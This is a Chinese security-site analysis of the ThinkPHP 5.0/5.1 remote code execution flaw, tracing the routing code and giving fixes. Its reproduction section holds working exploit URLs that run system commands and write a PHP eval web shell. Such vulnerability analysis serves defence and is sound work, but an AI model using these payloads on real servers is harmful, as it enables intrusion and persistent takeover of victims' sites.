freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Thinkphp5-x远程代码执行 漏洞分析
2019-08-15 22:43:18

一、    漏洞背景

ThinkPHP官方发布了重要的安全更新,修复了一个重大的漏洞。本次版本更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测,会导致在没有开启强制路由的情况下引发getshell漏洞。该漏洞影响5.0和5.1版本,官方已经在最新版本中修复。

二、    漏洞概要

谁应该读这个    Thinkphp5.x的开发者和用户

漏洞的影响       可以注入恶意代码利用反射类调用命名空间其他任意内置类,完成远程代码执行。

危害程度           严重

建议                  升级到官方最新版本。

受影响的软件    ThinkPHP 5.0.x < 5.0.23

                         ThinkPHP   5.1.x < 5.1.31

三、    搭建环境

•    安装漏洞影响范围内的ThinkPHP 5.1.x < 5.1.31版本。

 图片.png

四、    触发条件

检查Thinkphp5的版本号是否为受影响版本。

五、    漏洞分析

这里选择对5.0.20版本进行分析,关键函数开头。

 图片.png

进入self::routeCheck函数,进行路由检查

 图片.png

进入$request->path()函数。

 图片.png

进入$this->pathinfo()函数

 图片.png

Config::get('var_pathinfo')是配置文件中的设置的参数,默认值为s,从GET中获取键值,然后赋值给routeCheck中的$path。

 图片.png

这里会开始进行路由检测,检查$check后会进入else分支导入路由配置,然后接着检测路由表url调度结果$result,如果调度失败并且开启了强制路由$must,就抛出异常,这就是漏洞利用条件之一,接着进入了Route::parseUrl函数,根据$path(我们可控的url)进行模块/控制器解析。

 图片.png

进入parseUrl函数

 图片.png

进入self::parseUrlPath函数,使用/对$url进行分割,未进行任何过滤。

 图片.png

我们来看一下pathinfo函数

 图片.png

由于var_pathinfo的默认配置为s,我们可利用$_GET['s']来传递路由信息,也可利用pathinfo来传递,但测试时windows环境下会将$_SERVER['pathinfo']中的\替换为/。结合前面分析可得初步利用代码如下:

index.php?s=index/\namespace\class/method

这将会实例化\namespace\class类并执行method方法

六、    漏洞复现

1.利用system函数远程命令执行

http://localhost/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

 图片.png

2. 通过phpinfo函数写出phpinfo()的信息

http://localhost/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

 图片.png

3. 写入shell:

http://localhost/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Etest.php

 图片.png

七、    修复建议

1、更新框架修复

如果你使用composer安装,并且一直保持最新版本使用的话,使用下面的指令更新到最新版本即可

composer update topthink/framework

如果你使用了git版本库安装,也请及时更新你所用的仓库版本。

如果各种原因暂时无法更新到最新版本(早期版本升级到最新版本可能存在兼容性问题,请首先参考官方手册的升级指导章节),可以参考下面的方式进行手动修正。

2、手动修复

5.0版本

在think\App类的module方法的获取控制器的代码后面加上

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {

    throw new HttpException(404, 'controller not exists:' . $controller);

}

5.1版本

在think\route\dispatch\Url类的parseUrl方法,解析控制器后加上

if ($controller && !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {

    throw new HttpException(404, 'controller not exists:' . $controller);

}

八、    参考链接

https://blog.thinkphp.cn/869075



关注我们

Tide安全团队正式成立于2019年1月,是以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。

想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.net 或关注公众号:

1551433162_5c78fdca9fae9.jpg

# Thinkphp5-x远程代码执行 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者